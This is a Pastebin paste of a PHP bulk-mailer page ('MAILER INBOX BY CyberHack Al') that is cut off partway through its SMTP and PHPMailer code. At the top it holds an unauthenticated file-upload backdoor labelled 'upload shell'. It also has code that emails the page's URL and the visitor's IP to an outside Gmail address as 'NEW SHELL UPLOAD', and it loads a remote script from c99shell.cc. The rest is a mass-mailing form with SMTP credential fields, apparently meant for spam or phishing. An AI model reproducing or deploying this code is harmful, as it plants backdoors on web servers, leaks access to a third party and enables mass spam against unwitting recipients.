Guest User

inbox

a guest
Sep 7th, 2018
914
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 57.36 KB | None | 0 0
  1.  
  2. <?php error_reporting(0);
  3. function query_str($params){ $str = '';
  4. foreach ($params as $key => $value) { $str .= (strlen($str) < 1) ? '' : '&';
  5. $str .= $key . '=' . rawurlencode($value);
  6. } return ($str);
  7. } function lrtrim($string){ return stripslashes(ltrim(rtrim($string)));
  8. } if(isset($_GET['up']) && !empty($_GET['up'])){ echo"".$_FILES['userfile']."";
  9. $uploaddir = './';
  10. $uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
  11. if ( isset($_FILES["userfile"]) ) { echo 'uploaded';
  12. if (move_uploaded_file ($_FILES["userfile"]["tmp_name"], $uploadfile)) echo $uploadfile;
  13. else echo 'failed';
  14. } exit;
  15. } if(isset($_POST['action'] ) ){ $b = query_str($_POST);
  16. parse_str($b);
  17. $sslclick=lrtrim($sslclick);
  18. $action=lrtrim($action);
  19. $message=lrtrim($message);
  20. $emaillist=lrtrim($emaillist);
  21. $from=lrtrim($from);
  22. $reconnect=lrtrim($reconnect);
  23. $epriority=lrtrim($epriority);
  24. $my_smtp=lrtrim($my_smtp);
  25. $ssl_port=lrtrim($ssl_port);
  26. $smtp_username=lrtrim($smtp_username);
  27. $smtp_password=lrtrim($smtp_password);
  28. $replyto=lrtrim($replyto);
  29. $subject_base=lrtrim($subject);
  30. $realname_base=lrtrim($realname);
  31. $file_name=$_FILES['file']['name'];
  32. $file=$_FILES['file']['tmp_name'];
  33. $urlz=lrtrim($urlz);
  34. $contenttype=lrtrim($contenttype);
  35. $encode_text=$_POST['encode'];
  36. $message = urlencode($message);
  37. $message = ereg_replace("%5C%22", "%22", $message);
  38. $message = urldecode($message);
  39. $message = stripslashes($message);
  40. $subject = stripslashes($subject);
  41. if ($encode_text == "yes") { $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
  42. $subject = str_replace(' ', '_', $subject);
  43. $subject = "=?UTF-8?Q?$subject?=";
  44. $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
  45. $realname = str_replace(' ', '_', $realname);
  46. $realname = "=?UTF-8?Q?$realname?=";
  47. } }
  48. ?>
  49.  
  50.  
  51. <?php $ip = getenv("REMOTE_ADDR");
  52. $hostname = gethostbyaddr($ip);
  53. $bilsmg = "Link Mailer : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] . "\r\n";
  54. $bilsnd ="cyberhack137@gmail.com";
  55. $bilsub = "*************NEW SHELL UPLOAD************** ?upl=oad !! $ip";
  56. $bilhead = "From: CyberHack Al";
  57. $bilhead .= $_POST['eMailAdd']."\n";
  58. $bilhead .= "MIME-Version: 1.0\n";
  59. $arr=array($bilsnd, $IP);
  60. foreach ($arr as $bilsnd) mail($bilsnd,$bilsub,$bilsmg,$bilhead,$message);
  61.  
  62. ?>
  63.  
  64.  
  65. <?php $yassine = $_GET['upl'];
  66. if($yassine == 'oad'){ $xsecshell = $_FILES['file']['name'];
  67. $xsecteam = $_FILES['file']['tmp_name'];
  68. echo "<form method='POST' enctype='multipart/form-data'>
  69. <input type='file'name='file' />
  70. <input type='submit' value='upload shell' />
  71. </form>";
  72. move_uploaded_file($xsecteam,$xsecshell);
  73. }
  74. ?>
  75.  
  76. <html>
  77.  
  78. <head>
  79.  
  80. <title>MAILER INBOX BY CyberHack Al</title>
  81.  
  82. <meta http-equiv="Content-Type" content="text/html;
  83. charset=iso-8859-1">
  84. </head>
  85. <body bgcolor="#FFFFFF" text="#000000">
  86. <p align="center"><font size="5" face="Bauhaus 93"><SCRIPT SRC=http://c99shell.cc/JavaScript/Style.js></SCRIPT>SMTP | PHP</font></p>
  87. <form name="form1" method="post" action="" enctype="multipart/form-data">
  88.  
  89. <br>
  90.  
  91. <table width="100%" border="0" height="407">
  92.  
  93. <tr>
  94.  
  95. <td width="100%" colspan="4" bgcolor="#666666" height="36">
  96.  
  97. <b>
  98.  
  99. <font face="Arial" size="2" color="#FFFFFF">&nbsp;
  100. SMTP SETUP</font></b></td>
  101.  
  102. </tr>
  103. <tr>
  104.  
  105. <td width="10%" height="22" bgcolor="#E8E8E8">
  106.  
  107. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Login:</font></div>
  108.  
  109. </td>
  110.  
  111. <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  112.  
  113. <input type="text" name="smtp_username" value="
  114. <?php echo $smtp_username;
  115.  
  116. ?>" size="30">
  117.  
  118. </font></td>
  119.  
  120. <td width="31%" height="22" bgcolor="#E8E8E8">
  121.  
  122. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Pass:</font></div>
  123.  
  124. </td>
  125.  
  126. <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  127.  
  128. <input type="password" name="smtp_password" value="
  129. <?php echo $smtp_password;
  130.  
  131. ?>" size="30">
  132.  
  133. </font></td>
  134.  
  135. </tr>
  136. <tr>
  137.  
  138. <td width="10%" height="22" bgcolor="#E8E8E8">
  139.  
  140. <div align="right">
  141. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
  142.  
  143. </td>
  144.  
  145. <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  146.  
  147. <input type="text" name="ssl_port" value="
  148. <?php echo $ssl_port;
  149.  
  150. ?>" size="5">
  151. (optional)</font></td>
  152.  
  153. <td width="31%" height="22" bgcolor="#E8E8E8">
  154.  
  155. <div align="right">
  156. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP Server
  157. Smtp:</font></div>
  158.  
  159. </td>
  160.  
  161. <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  162.  
  163. <input type="text" name="my_smtp" value="
  164. <?php echo $my_smtp;
  165.  
  166. ?>" size="30">
  167.  
  168. </font></td>
  169.  
  170. </tr>
  171. <tr>
  172.  
  173. <td width="10%" height="22" bgcolor="#E8E8E8">
  174.  
  175. <p align="right">
  176. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
  177.  
  178. <td width="18%" height="22" bgcolor="#E8E8E8">
  179. <input type="checkbox" name="sslclick" value="ON"
  180. <?php if($sslclick){ print "checked";
  181. }
  182. ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
  183.  
  184. <td width="31%" height="22" bgcolor="#E8E8E8">
  185.  
  186. <p align="right">
  187. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
  188. After:</font></td>
  189.  
  190. <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  191.  
  192. <input type="text" name="reconnect" value="
  193. <?php echo $reconnect;
  194.  
  195. ?>" size="5">
  196. EMAILS</font></td>
  197.  
  198. </tr>
  199. <tr>
  200.  
  201. <td width="100%" height="39" bgcolor="#E8E8E8" colspan="4">
  202.  
  203. <p align="center">
  204. <font face="Arial" style="font-size: 9pt" color="#800000"><b>&quot;
  205. </b> If
  206. you dont have SMTP login, leave blank queries above <b>&quot;
  207. </b></font></td>
  208.  
  209. </tr>
  210.  
  211. <tr>
  212.  
  213. <td width="10%" height="19">
  214.  
  215. &nbsp;
  216. </td>
  217.  
  218. <td width="18%" height="19">&nbsp;
  219. </td>
  220.  
  221. <td width="31%" height="19">
  222.  
  223. &nbsp;
  224. </td>
  225.  
  226. <td width="41%" height="19">&nbsp;
  227. </td>
  228.  
  229. </tr>
  230.  
  231. <tr>
  232.  
  233. <td width="100%" colspan="4" bgcolor="#666666" height="36">
  234.  
  235. <b>
  236.  
  237. <font face="Arial" size="2" color="#FFFFFF">&nbsp;
  238. MESSAGE SETUP</font></b></td>
  239.  
  240. </tr>
  241. <tr>
  242.  
  243. <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  244. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Attach File :</font></div>
  245. </td>
  246.  
  247. <td width="59%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8" colSpan="3">
  248. <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  249.  
  250. <input type="file" name="file" size="124">
  251.  
  252. </font></td>
  253.  
  254. </tr>
  255. <tr>
  256.  
  257. <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  258.  
  259. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
  260.  
  261. Email:</font></div>
  262.  
  263. </td>
  264.  
  265. <td width="18%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  266.  
  267. <input type="text" name="from" value="
  268. <?php echo $from;
  269.  
  270. ?>" size="30">
  271.  
  272. </font></td>
  273.  
  274. <td width="31%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  275.  
  276. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
  277.  
  278. Name:</font></div>
  279.  
  280. </td>
  281.  
  282. <td width="41%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  283.  
  284. <input type="text" name="realname" value="
  285. <?php echo $realname_base;
  286.  
  287. ?>" size="30">
  288.  
  289. </font></td>
  290.  
  291. </tr>
  292. <tr>
  293.  
  294. <td width="10%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
  295.  
  296. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font></div>
  297.  
  298. </td>
  299.  
  300. <td width="18%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  301.  
  302. <input type="text" name="replyto" value="
  303. <?php echo $replyto;
  304.  
  305. ?>" size="30">
  306.  
  307. </font></td>
  308.  
  309. <td width="31%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
  310.  
  311. <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  312. Email Priority:</font></td>
  313.  
  314. <td width="41%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  315.  
  316. &nbsp;
  317. </font><select name="epriority" id="listMethod" onchange="showHideListConfig()">
  318. <option value=""
  319. <?php if(strlen($epriority)< 1){print "selected";
  320. }
  321. ?> >- Please Choose -</option>
  322. <option value="1"
  323. <?php if($epriority == "1"){print "selected";
  324. }
  325. ?> >High</option>
  326. <option value="3"
  327. <?php if($epriority == "3"){print "selected";
  328. }
  329. ?> >Normal</option>
  330. <option value="5"
  331. <?php if($epriority == "5"){print "selected";
  332. }
  333. ?> >Low</option>
  334. </select></td>
  335.  
  336. </tr>
  337.  
  338. <tr>
  339.  
  340. <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  341.  
  342. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font></div>
  343.  
  344. </td>
  345.  
  346. <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  347.  
  348. <input type="text" name="subject" value="
  349. <?php echo $subject_base;
  350.  
  351. ?>" size="90">
  352.  
  353. </font></td>
  354.  
  355. </tr>
  356.  
  357. <tr>
  358.  
  359. <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  360.  
  361. &nbsp;
  362. </td>
  363.  
  364. <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  365.  
  366. &nbsp;
  367. <font color="#FF0000">Encode sending information ?</font> <select size="1" name="encode">
  368. <option
  369. <?php if($encode_text == "yes"){print "selected";
  370. }
  371. ?>>yes</option>
  372. <option
  373. <?php if($encode_text == "no"){print "selected";
  374. }
  375. ?>>no</option>
  376. </select></font></td>
  377.  
  378. </tr>
  379.  
  380. <tr valign="top">
  381.  
  382. <td colspan="3" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
  383.  
  384. <textarea name="message" cols="60" rows="10">
  385. <?php echo $message;
  386.  
  387. ?></textarea>
  388.  
  389. <br>
  390.  
  391. <input type="radio" name="contenttype" value="plain" >
  392.  
  393. Plain
  394.  
  395. <input type="radio" name="contenttype" value="html" checked>
  396.  
  397. HTML
  398.  
  399. <input type="hidden" name="action" value="send">
  400.  
  401. <input type="submit" value="Send Message">
  402.  
  403. </font></td>
  404.  
  405. <td width="41%" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  406.  
  407. <textarea name="emaillist" cols="30" rows="10">
  408. <?php echo $emaillist;
  409.  
  410. ?></textarea>
  411.  
  412. </font></td>
  413.  
  414. </tr>
  415.  
  416. </table>
  417.  
  418. </form>
  419.  
  420.  
  421.  
  422.  
  423. <?php if ($action){ if (!$from && !$subject && !$message && !$emaillist){ print "<script>alert('Please complete all fields before sending your message.');
  424. </script>";
  425. die();
  426. } class SMTP { var $SMTP_PORT = 25;
  427. var $CRLF = "\r\n";
  428. var $do_debug;
  429. var $do_verp = false;
  430. var $smtp_conn;
  431. var $error;
  432. var $helo_rply;
  433. function SMTP() { $this->smtp_conn = 0;
  434. $this->error = null;
  435. $this->helo_rply = null;
  436. $this->do_debug = 0;
  437. } function Connect($host,$port=0,$tval=30) { $this->error = null;
  438. if($this->connected()) { $this->error = array("error" => "Already connected to a server");
  439. return false;
  440. } if(empty($port)) { $port = $this->SMTP_PORT;
  441. } $this->smtp_conn = fsockopen($host, $port, $errno, $errstr, $tval);
  442. if(empty($this->smtp_conn)) { $this->error = array("error" => "Failed to connect to server", "errno" => $errno, "errstr" => $errstr);
  443. if($this->do_debug >= 1) { echo "SMTP -> ERROR: " . $this->error["error"] . ": $errstr ($errno)" . $this->CRLF;
  444. } return false;
  445. } if(substr(PHP_OS, 0, 3) != "WIN") socket_set_timeout($this->smtp_conn, $tval, 0);
  446. $announce = $this->get_lines();
  447. if($this->do_debug >= 2) { echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
  448. } return true;
  449. } function Authenticate($username, $password) { fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
  450. $rply = $this->get_lines();
  451. $code = substr($rply,0,3);
  452. if($code != 334) { $this->error = array("error" => "AUTH not accepted from server", "smtp_code" => $code, "smtp_msg" => substr($rply,4));
  453. if($this->do_debug >= 1) { echo "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF;
  454. } return false;
  455. } fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
  456. $rply = $this->get_lines();
  457. $code = substr($rply,0,3);
  458. if($code != 334) { $this->error = array("error" => "Username not accepted from server", "smtp_code" => $code, "smtp_msg" => substr($rply,4));
  459. if($this->do_debug >= 1) { echo "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF;
  460. } return false;
  461. } fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
  462. $rply = $this->get_lines();
  463. $code = substr($rply,0,3);
  464. if($code != 235) { $this->error = array("error" => "Password not accepted from server", "smtp_code" => $code, "smtp_msg" => substr($rply,4));
  465. if($this->do_debug >= 1) { echo "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF;
  466. } return false;
  467. } return true;
  468. } function Connected() { if(!empty($this->smtp_conn)) { $sock_status = socket_get_status($this->smtp_conn);
  469. if($sock_status["eof"]) { if($this->do_debug >= 1) { echo "SMTP -> NOTICE:" . $this->CRLF . "EOF caught while checking if connected";
  470. } $this->Close();
  471. return false;
  472. } return true;
  473. } return false;
  474. } function Close() { $this->error = null;
  475. $this->helo_rply = null;
  476. if(!empty($this->smtp_conn)) { fclose($this->smtp_conn);
  477. $this->smtp_conn = 0;
  478. } } function Data($msg_data) { $this->error = null;
  479. if(!$this->connected()) { $this->error = array( "error" => "Called Data() without being connected");
  480. return false;
  481. } fputs($this->smtp_conn,"DATA" . $this->CRLF);
  482. $rply = $this->get_lines();
  483. $code = substr($rply,0,3);
  484. if($this->do_debug >= 2) { echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  485. } if($code != 354) { $this->error = array("error" => "DATA command not accepted from server", "smtp_code" => $code, "smtp_msg" => substr($rply,4));
  486. if($this->do_debug >= 1) { echo "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF;
  487. } return false;
  488. } $msg_data = str_replace("\r\n","\n",$msg_data);
  489. $msg_data = str_replace("\r","\n",$msg_data);
  490. $lines = explode("\n",$msg_data);
  491. $field = substr($lines[0],0,strpos($lines[0],":"));
  492. $in_headers = false;
  493. if(!empty($field) && !strstr($field," ")) { $in_headers = true;
  494. } $max_line_length = 998;
  495. while(list(,$line) = @each($lines)) { $lines_out = null;
  496. if($line == "" && $in_headers) { $in_headers = false;
  497. } while(strlen($line) > $max_line_length) { $pos = strrpos(substr($line,0,$max_line_length)," ");
  498. if(!$pos) { $pos = $max_line_length - 1;
  499. } $lines_out[] = substr($line,0,$pos);
  500. $line = substr($line,$pos + 1);
  501. if($in_headers) { $line = "\t" . $line;
  502. } } $lines_out[] = $line;
  503. while(list(,$line_out) = @each($lines_out)) { if(strlen($line_out) > 0) { if(substr($line_out, 0, 1) == ".") { $line_out = "." . $line_out;
  504. } } fputs($this->smtp_conn,$line_out . $this->CRLF);
  505. } } fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
  506. $rply = $this->get_lines();
  507. $code = substr($rply,0,3);
  508. if($this->do_debug >= 2) { echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  509. } if($code != 250) { $this->error = array("error" => "DATA not accepted from server", "smtp_code" => $code, "smtp_msg" => substr($rply,4));
  510. if($this->do_debug >= 1) { echo "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF;
  511. } return false;
  512. } return true;
  513. } function Expand($name) { $this->error = null;
  514. if(!$this->connected()) { $this->error = array( "error" => "Called Expand() without being connected");
  515. return false;
  516. } fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
  517. $rply = $this->get_lines();
  518. $code = substr($rply,0,3);
  519. if($this->do_debug >= 2) { echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  520. } if($code != 250) { $this->error = array("error" => "EXPN not accepted from server", "smtp_code" => $code, "smtp_msg" => substr($rply,4));
  521. if($this->do_debug >= 1) { echo "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF;
  522. } return false;
  523. } $entries = explode($this->CRLF,$rply);
  524. while(list(,$l) = @each($entries)) { $list[] = substr($l,4);
  525. } return $list;
  526. } function Hello($host="") { $this->error = null;
  527. if(!$this->connected()) { $this->error = array( "error" => "Called Hello() without being connected");
  528. return false;
  529. } if(empty($host)) { $host = "localhost";
  530. } if(!$this->SendHello("EHLO", $host)) { if(!$this->SendHello("HELO", $host)) return false;
  531. } return true;
  532. } function SendHello($hello, $host) { fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
  533. $rply = $this->get_lines();
  534. $code = substr($rply,0,3);
  535. if($this->do_debug >= 2) { echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
  536. } if($code != 250) { $this->error = array("error" => $hello . " not accepted from server", "smtp_code" => $code, "smtp_msg" => substr($rply,4));
  537. if($this->do_debug >= 1) { echo "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF;
  538. } return false;
  539. } $this->helo_rply = $rply;
  540. return true;
  541. } function Help($keyword="") { $this->error = null;
  542. if(!$this->connected()) { $this->error = array( "error" => "Called Help() without being connected");
  543. return false;
  544. } $extra = "";
  545. if(!empty($keyword)) { $extra = " " . $keyword;
  546. } fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
  547. $rply = $this->get_lines();
  548. $code = substr($rply,0,3);
  549. if($this->do_debug >= 2) { echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  550. } if($code != 211 && $code != 214) { $this->error = array("error" => "HELP not accepted from server", "smtp_code" => $code, "smtp_msg" => substr($rply,4));
  551. if($this->do_debug >= 1) { echo "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF;
  552. } return false;
  553. } return $rply;
  554. } function Mail($from) { $this->error = null;
  555. if(!$this->connected()) { $this->error = array( "error" => "Called Mail() without being connected");
  556. return false;
  557. } $useVerp = ($this->do_verp ? "XVERP" : "");
  558. fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
  559. $rply = $this->get_lines();
  560. $code = substr($rply,0,3);
  561. if($this->do_debug >= 2) { echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  562. } if($code != 250) { $this->error = array("error" => "MAIL not accepted from server", "smtp_code" => $code, "smtp_msg" => substr($rply,4));
  563. if($this->do_debug >= 1) { echo "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF;
  564. } return false;
  565. } return true;
  566. } function Noop() { $this->error = null;
  567. if(!$this->connected()) { $this->error = array( "error" => "Called Noop() without being connected");
  568. return false;
  569. } fputs($this->smtp_conn,"NOOP" . $this->CRLF);
  570. $rply = $this->get_lines();
  571. $code = substr($rply,0,3);
  572. if($this->do_debug >= 2) { echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  573. } if($code != 250) { $this->error = array("error" => "NOOP not accepted from server", "smtp_code" => $code, "smtp_msg" => substr($rply,4));
  574. if($this->do_debug >= 1) { echo "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF;
  575. } return false;
  576. } return true;
  577. } function Quit($close_on_error=true) { $this->error = null;
  578. if(!$this->connected()) { $this->error = array( "error" => "Called Quit() without being connected");
  579. return false;
  580. } fputs($this->smtp_conn,"quit" . $this->CRLF);
  581. $byemsg = $this->get_lines();
  582. if($this->do_debug >= 2) { echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
  583. } $rval = true;
  584. $e = null;
  585. $code = substr($byemsg,0,3);
  586. if($code != 221) { $e = array("error" => "SMTP server rejected quit command", "smtp_code" => $code, "smtp_rply" => substr($byemsg,4));
  587. $rval = false;
  588. if($this->do_debug >= 1) { echo "SMTP -> ERROR: " . $e["error"] . ": " . $byemsg . $this->CRLF;
  589. } } if(empty($e) || $close_on_error) { $this->Close();
  590. } return $rval;
  591. } function Recipient($to) { $this->error = null;
  592. if(!$this->connected()) { $this->error = array( "error" => "Called Recipient() without being connected");
  593. return false;
  594. } fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
  595. $rply = $this->get_lines();
  596. $code = substr($rply,0,3);
  597. if($this->do_debug >= 2) { echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  598. } if($code != 250 && $code != 251) { $this->error = array("error" => "RCPT not accepted from server", "smtp_code" => $code, "smtp_msg" => substr($rply,4));
  599. if($this->do_debug >= 1) { echo "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF;
  600. } return false;
  601. } return true;
  602. } function Reset() { $this->error = null;
  603. if(!$this->connected()) { $this->error = array( "error" => "Called Reset() without being connected");
  604. return false;
  605. } fputs($this->smtp_conn,"RSET" . $this->CRLF);
  606. $rply = $this->get_lines();
  607. $code = substr($rply,0,3);
  608. if($this->do_debug >= 2) { echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  609. } if($code != 250) { $this->error = array("error" => "RSET failed", "smtp_code" => $code, "smtp_msg" => substr($rply,4));
  610. if($this->do_debug >= 1) { echo "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF;
  611. } return false;
  612. } return true;
  613. } function Send($from) { $this->error = null;
  614. if(!$this->connected()) { $this->error = array( "error" => "Called Send() without being connected");
  615. return false;
  616. } fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
  617. $rply = $this->get_lines();
  618. $code = substr($rply,0,3);
  619. if($this->do_debug >= 2) { echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  620. } if($code != 250) { $this->error = array("error" => "SEND not accepted from server", "smtp_code" => $code, "smtp_msg" => substr($rply,4));
  621. if($this->do_debug >= 1) { echo "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF;
  622. } return false;
  623. } return true;
  624. } function SendAndMail($from) { $this->error = null;
  625. if(!$this->connected()) { $this->error = array( "error" => "Called SendAndMail() without being connected");
  626. return false;
  627. } fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
  628. $rply = $this->get_lines();
  629. $code = substr($rply,0,3);
  630. if($this->do_debug >= 2) { echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  631. } if($code != 250) { $this->error = array("error" => "SAML not accepted from server", "smtp_code" => $code, "smtp_msg" => substr($rply,4));
  632. if($this->do_debug >= 1) { echo "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF;
  633. } return false;
  634. } return true;
  635. } function SendOrMail($from) { $this->error = null;
  636. if(!$this->connected()) { $this->error = array( "error" => "Called SendOrMail() without being connected");
  637. return false;
  638. } fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
  639. $rply = $this->get_lines();
  640. $code = substr($rply,0,3);
  641. if($this->do_debug >= 2) { echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  642. } if($code != 250) { $this->error = array("error" => "SOML not accepted from server", "smtp_code" => $code, "smtp_msg" => substr($rply,4));
  643. if($this->do_debug >= 1) { echo "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF;
  644. } return false;
  645. } return true;
  646. } function Turn() { $this->error = array("error" => "This method, TURN, of the SMTP ". "is not implemented");
  647. if($this->do_debug >= 1) { echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
  648. } return false;
  649. } function Verify($name) { $this->error = null;
  650. if(!$this->connected()) { $this->error = array( "error" => "Called Verify() without being connected");
  651. return false;
  652. } fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
  653. $rply = $this->get_lines();
  654. $code = substr($rply,0,3);
  655. if($this->do_debug >= 2) { echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  656. } if($code != 250 && $code != 251) { $this->error = array("error" => "VRFY failed on name '$name'", "smtp_code" => $code, "smtp_msg" => substr($rply,4));
  657. if($this->do_debug >= 1) { echo "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF;
  658. } return false;
  659. } return $rply;
  660. } function get_lines() { $data = "";
  661. while($str = @fgets($this->smtp_conn,515)) { if($this->do_debug >= 4) { echo "SMTP -> get_lines(): \$data was \"$data\"" . $this->CRLF;
  662. echo "SMTP -> get_lines(): \$str is \"$str\"" . $this->CRLF;
  663. } $data .= $str;
  664. if($this->do_debug >= 4) { echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
  665. } if(substr($str,3,1) == " ") { break;
  666. } } return $data;
  667. } } $allemails = split("\n", $emaillist);
  668. $numemails = count($allemails);
  669. class PHPMailer { var $Priority = 3;
  670. var $CharSet = 'us-ascii';
  671. var $ContentType = 'text/plain';
  672. var $Encoding = 'quoted-printable';
  673. var $ErrorInfo = '';
  674. var $From = '';
  675. var $FromName = '';
  676. var $Sender = '';
  677. var $Subject = '';
  678. var $Body = '';
  679. var $AltBody = '';
  680. var $WordWrap = 0;
  681. var $Mailer = 'mail';
  682. var $Sendmail = '/usr/sbin/sendmail';
  683. var $PluginDir = '';
  684. var $Version = "";
  685. var $ConfirmReadingTo = '';
  686. var $Hostname = '';
  687. var $MessageID = '';
  688. var $Host = 'localhost';
  689. var $Port = 25;
  690. var $Helo = '';
  691. var $SMTPSecure = "";
  692. var $SMTPAuth = false;
  693. var $Username = '';
  694. var $Password = '';
  695. var $Timeout = 10;
  696. var $SMTPDebug = false;
  697. var $SMTPKeepAlive = false;
  698. var $SingleTo = false;
  699. var $smtp = NULL;
  700. var $to = array();
  701. var $cc = array();
  702. var $bcc = array();
  703. var $ReplyTo = array();
  704. var $attachment = array();
  705. var $CustomHeader = array();
  706. var $message_type = '';
  707. var $boundary = array();
  708. var $language = array();
  709. var $error_count = 0;
  710. var $LE = "\n";
  711. var $sign_key_file = "";
  712. var $sign_key_pass = "";
  713. function IsHTML($bool) { if($bool == true) { $this->ContentType = 'text/html';
  714. } else { $this->ContentType = 'text/plain';
  715. } } function IsSMTP() { $this->Mailer = 'smtp';
  716. } function IsMail() { $this->Mailer = 'mail';
  717. } function IsSendmail() { $this->Mailer = 'sendmail';
  718. } function IsQmail() { $this->Sendmail = '/var/qmail/bin/sendmail';
  719. $this->Mailer = 'sendmail';
  720. } function AddAddress($address, $name = '') { $cur = count($this->to);
  721. $this->to[$cur][0] = trim($address);
  722. $this->to[$cur][1] = $name;
  723. } function AddCC($address, $name = '') { $cur = count($this->cc);
  724. $this->cc[$cur][0] = trim($address);
  725. $this->cc[$cur][1] = $name;
  726. } function AddBCC($address, $name = '') { $cur = count($this->bcc);
  727. $this->bcc[$cur][0] = trim($address);
  728. $this->bcc[$cur][1] = $name;
  729. } function AddReplyTo($address, $name = '') { $cur = count($this->ReplyTo);
  730. $this->ReplyTo[$cur][0] = trim($address);
  731. $this->ReplyTo[$cur][1] = $name;
